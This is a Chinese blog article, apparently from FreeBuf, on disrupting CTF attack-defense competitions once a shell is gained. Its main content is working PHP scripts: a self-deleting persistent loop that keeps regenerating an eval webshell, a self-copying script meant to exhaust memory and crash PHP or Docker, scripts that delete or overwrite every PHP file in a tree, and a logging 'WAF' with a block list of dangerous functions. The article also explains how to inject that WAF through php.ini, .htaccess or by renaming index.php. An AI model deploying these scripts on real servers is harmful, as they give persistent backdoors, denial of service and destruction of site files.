0x00 前言
不能攪屎的CTF不是好CTF,不能攪屎的題目不是好題目。
我很贊成phithon神的一句話,“比賽就是和他人競爭的過程,通過各種手段阻止對手拿分我覺得也是一種能力。”
你能夠做到別人做不到的,那就是你的本事。
本文所說的攪屎是在GETSHELL的情況下才能進行的!!!遇到phithon師傅的《CTF主辦方指南之對抗攪屎棍》就GG了
0x01 預備知識
大多數能夠攪屎的題目基本上是PHP且需要getshell的。所以,必備的PHP語法基本只是必須要懂~
接下來是介紹一些特殊的PHP內置函數
- ignore_user_abort()
- 设置客户端断开连接时是否中断脚本的执行
- PHP以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。
ignore_user_abort(1);
- set_time_limit()
- 设置脚本最大执行时间
- 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini的max_execution_time被定义的值,如果此值存在。
set_time_limit(0);
- ini_get()
- 获取一个配置选项的值
- 成功时返回配置选项的值。
echo 'disable_functions='.ini_get('disable_functions');
- file_put_contents()
- 将一个字符串写入文件
- 和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
file_put_contents($filename, $content);
- file_get_contents()
- 将整个文件读入一个字符串
- 和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。
- 當然這個函數也可以通過其他協議讀取文件內容
file_get_contents($filename);
file_get_contents($url);
- unlink()
- 删除文件
- 删除 filename。和 Unix C 的 unlink() 函数相似。 发生错误时会产生一个 E_WARNING 级别的错误。
unlink($filename);
給你的PHP腳本加上set_time_limit(0);ignore_user_abort(1);
這兩句就能夠做的常駐內存了。
對待這種情況,基本上只能重啟PHP了。
0x02 攪屎之不死鳥
no_die_shell.php
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
//file_put_contents(__FILE__,'');
while(1){
file_put_contents('path/webshell.php','<?php @eval($_POST["password"]);?>');
}
?>
首先就是刪除自己,不讓別人知道,然後在某一個目錄下循環生成你的webshell,根本刪不掉~~
0x03 攪屎之核彈
nuclear_bomb.php
<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>
根據代碼,不難看出這個腳本的功能。
常駐內存之後,進入死循環。
循環內部是實現無效複製自身並且訪問web服務的功能。
執行的後果就是內存爆炸,php就GG了,嚴重點的話,Docker也GG。
0x04 攪屎之你死我活
del.php
<?php
set_time_limit(0);
ignore_user_abort(1);
array_map('unlink', glob("some/dir/*.php"));
?>
del_or_change.php
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
function getfiles($path){
foreach(glob($path) as $afile){
if(is_dir($afile))
getfiles($afile.'/*.php');
else
@file_put_contents($afile,"#Anything#");
//unlink($afile);
}
}
while(1){
getfiles(__DIR__);
sleep(10);
}
?>
遍曆目錄,得到所有的php文件,然後至於你想改寫內容還是直接刪掉,看心情了。
遍曆目錄的方法很多,但是大多數這些函數都被禁用了(disable_functions)。
偶爾有個別漏網之魚,比如glob~~這個函數比較少見吧。所以這樣就用了它。
如果刪除函數unlink被ban掉~~就改寫咯~~
0x05 攪屎之WAF
感覺這個殺器有點邪惡。對於線下賽來說,近乎於無敵,反正我自己沒有什麼好的方法破解。
噁心人啊。
php_waf_and_log_to_txt.php
<?php
error_reporting(0);
define('LOG_FILENAME','log.txt');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);//fix a bug
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach($vpattern as $value){
foreach ($v as $kk => $vv) {
if (preg_match( "/$value/i", $vv )){
$bool = true;
logging($input);
break;
}
}
if($bool) break;
}
if($bool) break;
}
}
function logging($var){
file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
這個WAF在線下攻防賽中,絕對是一個大殺器。
不僅攔截了大多數非法語句,還能記錄所有的攻擊流量,輕鬆得到別人的payload。
不知道主辦方要如何解決這個WAF所存在的問題。
當然,這個WAF應該也不是完美的,還可以添加更多的規則,讓他變得更強!
接下來再說說,在實戰中如何加載這個WAF。
根據權限不同,就有不同的加載方式。
有root權限
那麼,這樣就簡單了,直接寫在配置中。
vim php.ini
auto_append_file = "/dir/path/phpwaf.php"
重啟Apache或者php-fpm就能生效了。
當然也可以寫在 .user.ini 或者 .htaccess 中。
php_value auto_prepend_file "/dir/path/phpwaf.php"
只有user權限
沒寫系統權限就只能在代碼上面下手了,也就是文件包含。
這鐘情況又可以用不同的方式包含。
如果是框架型應用,那麼就可以添加在入口文件,例如index.php,
如果不是框架應用,那麼庫在公共配置文件config.php中包含。
include('phpwaf.php');
還有一種是替換index.php,也就是講index.php改名為index2.php,然後講phpwaf.php改成index.php。
當然還沒完,還要在原phpwaf.php中包含原來的index.php。
index.php -> index2.php
phpwaf.php -> index.php
include('index2.php');
至於你想用哪種方式,看你心情咯,你開心就好。
0x06 結束語
寫這篇文章的目的並不是讓大家都去CTF攪屎,畢竟CTF是一個正規的比賽的地方,有助於我們學習更多的技術以及黑科技。
當然,服務器維護人員也是很辛苦的。
我們暴打出題人就好了,何必為難運維。(出題人就是運維的情況下,例外!!!)
希望大家用正確的心態看這篇文章,“PHP是世界上最好的語言”,能夠挖掘的地方還有很多。
主辦方,表打我欸。
0x07 轉載聲明
本文投稿至 Freebuf 《论如何在CTF比赛中搅“shi”》
本文原创作者:Virink,本文属FreeBuf原创奖励计划,未经许可禁止转载
FROM : virzz.com | Author:Virink
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论